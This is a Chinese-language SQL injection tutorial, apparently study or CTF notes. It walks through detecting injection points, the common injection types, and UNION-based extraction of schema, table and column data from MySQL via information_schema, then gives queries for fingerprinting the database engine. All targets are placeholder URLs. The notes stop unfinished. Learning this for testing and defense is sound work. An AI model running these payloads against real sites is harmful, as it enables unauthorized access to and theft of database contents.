一、SQL注入简介
SQL注入(SQL Injection),通过构建SQL代码相关的特殊输入,作为参数传递到服务器,服务器解析并执行SQL语句进而达到攻击者所要的操作。如:通过提交一段数据库查询代码,根据程序返回的结果,获得某些攻击者想得知的数据;或通过控制部分SQL语句,攻击者可以利用数据库的一些特性,直接获取数据库服务器的系统权限。
发生SQL注入的主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
二、SQL基本注入与绕过
1、寻找SQL可能注入点
找注入点是最关键,也最基础的一个环节。
本质原理是:找一个需要后台处理后,提交给数据库的点,所有的输入只要和数据库进行交互的,都有可能触发SQL
注入。
一般为三大类:
(1)Get
参数触发 SQL
注入 (2)POST
参数触发 SQL
注入 (3)Cookie
触发 SQL
注入
在各个网页链接中找到参数,即链接?参数=***。如www.1234.com/index.php?id=num,
验证是否存在注入点的方法有很多种,下面先介绍最常规最简单的方法,引入单引号判断是否存在注入点:
1 http://www.1234.com/index.php?id=1’ 返回错误,可能注入
2 http://www.1234.com/index.php?id=1 and 1=1 返回正常
3 http://www.1234.com/index.php?id=1 and 1=2 返回错误
若满足以上三点,那么存在SQL注入
的可能性就非常高
那.......为什么呢?从SQL的语句进行分析,我们可以先猜测查询语句如下:
Select * from SQLtable where id=$id ($id由网页通过GET或POST方法传入)
在 1 后面加上 and 1=1 ,则查询条件变为 “ where id = 1 and 1=1 ”, 这里 and 1=1 是恒为True,and是要求左右条件同时满足情况才为True。当语句变为 and 1=2 时,where 后的语句结果则变为False,返回的值当然是失败。能够实现这个测试,则我们的猜测可能是正确的。这个句型却可以用到SQL的联合查询之类的方法,获取数据库中的关键信息。
2、判断SQL注入的类型
(1)数字型注入
测试 -> www.1234.com/index.php?id=1 and 1=1 返回成功
-> www.1234.com/index.php?id=1 and 1=2 返回失败
后台可能语句: Select * from SQLtable where id=$id
注入执行语句: Select * from SQLtable where id=1 and 1=1
(2)字符型注入
测试 -> www.1234.com/index.php?id=1' and '1'='1 返回成功
-> www.1234.com/index.php?id=1' and '1'='2 返回失败
后台可能语句: Select * from SQLtable where id='$id'
注入执行语句: Select * from SQLtable where id='1' and '1'='1'
(3)搜索型注入
测试 -> www.1234.com/index.php?id=1%' and 1=1 and '%'=' 返回成功
-> www.1234.com/index.php?id=1%' and 1=2 and '%'=' 返回失败
后台可能语句: Select * from SQLtable where id like '% $id %'
注入执行语句: Select * from SQLtable where id like '%1%' and 1=1 and '%'='%'
(4)内联式注入
测试 -> www.1234.com/index.php?user=user &pass=' or ''=' 返回成功
-> www.1234.com/index.php?user=' or ''=' &pass=pass 返回失败
后台可能语句: Select * from SQLtable where user='$user' and pass='$pass'
注入执行语句: Select * from SQLtable where user='user' and pass='' or ''=''
(5)终止式注入
测试 -> www.1234.com/index.php?user=' or ''='' --&pass=1 返回成功
后台可能语句: Select * from SQLtable where user='$user' and pass='$pass'
注入执行语句: Select * from SQLtable where user='' or ''='' --and pass='pass'
终止字符串:-- , #, %23, %00, /*, //
终止方法:-- , ‘-- , ‘)-- , ) -- , ‘)) --, ))--
(6)另外几种
1 Boolean-based blind SQL injection (布尔型注入)
2 Error-based SQL injection (报错型注入)
3 UNION query SQL injection (可联合查询注入)
4 Stacked queries SQL injection (可多语句查询注入)
5 Time-based blind SQL injection (基于时间延迟注入)
3、操作SQL注入的过程
假设我们测试到网站存在字符型注入 => www.1234.com/index.php?id=1' and '1'='2
这里以MySQL 5.0以上版本的注入为例:
(1)判断列数:
id=1' order by 'number1 ,显示正常 id=1' order by 'number2 ,报错,确定为number2列。
(2)union联合查询判断错误字段:
id=1'union select '***','***','*** 页面哪个位置回显'***',表示该位置可控
(3)获取当前数据库名:
id=1' union select '***',database(),'*** 假设第2个位置可控,查询到的为Now库
(4)获取数据库名:
id=1' union select '***',schema_name,'***' from information_schema.schemata where '1'='1
假设查询到'information_schema','Now','Flag'
(5)获取信息的表名:
id=1' union select '***',table_name,'***' from information_schema.tables where table_schema='Flag
假设爆出的表名'what','Flagtable','what2'
(6)获取信息的字段名:
id=1' union select '***',column_name,'***' from information_schema.columns where table_name='Flagtable
假设爆出的字段名为'Flagcolumn','What','What2
(7)获取信息:
id=1' union select '***',Flagcolumn,'***' from Flag.Flagtable
Tips:如果显示的字段可控的位置只有一个,可以使用 limit x(要查看的第x个字段),y(要显示x到y以内的字段)
或使用 group_concat(查询的字段名)
limit 子句可以被用于强制 select 语句返回指定的记录数。limit 接受一个或两个数字参数。参数必须是一个整数常量。
如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。第一个参数是从0开始的... 例如:select flag from table limit 5,10; // 检索记录行 6-15
select group_concat(flag) from table; // 检索全部记录行
4、判断SQL类型
(1)判断数据库类型的常用方法:
① 通过页面返回的报错信息,一般情况下页面报错会显示是什么数据库类型
② 通过各个数据库特有的数据表来判断:
Mysql数据库(mysql版本在5.0以上)
http://www.1234.com/index.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
Mssql数据库
http://www.1234.com/index.php?id=1 and (select count(*) from sysobjects)>0 and 1=1
Access数据库
http://www.1234.com/index.php?id=1 and (select count(*) from msysobjects)>0 and 1=1
Oracle数据库
http://www.1234.com/index.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
③ 通过各数据库特有的连接符判断数据库类型:
Mssql数据库
http:/www.1234.com/index.php?id=1 and '1' + '1' = '11'
Mysql数据库
http://www.1234.com/index.php?id=1 and '1' + '1' = '11'
http://www.1234.com/index.php?id=1 and CONCAT('1','1')='11'
Oracle数据库
http://www.1234.com/index.php?id=1 and '1'||'1'='11'
http://www.1234.com/index.php?id=1 and CONCAT('1','1')='11'
等待笔记。。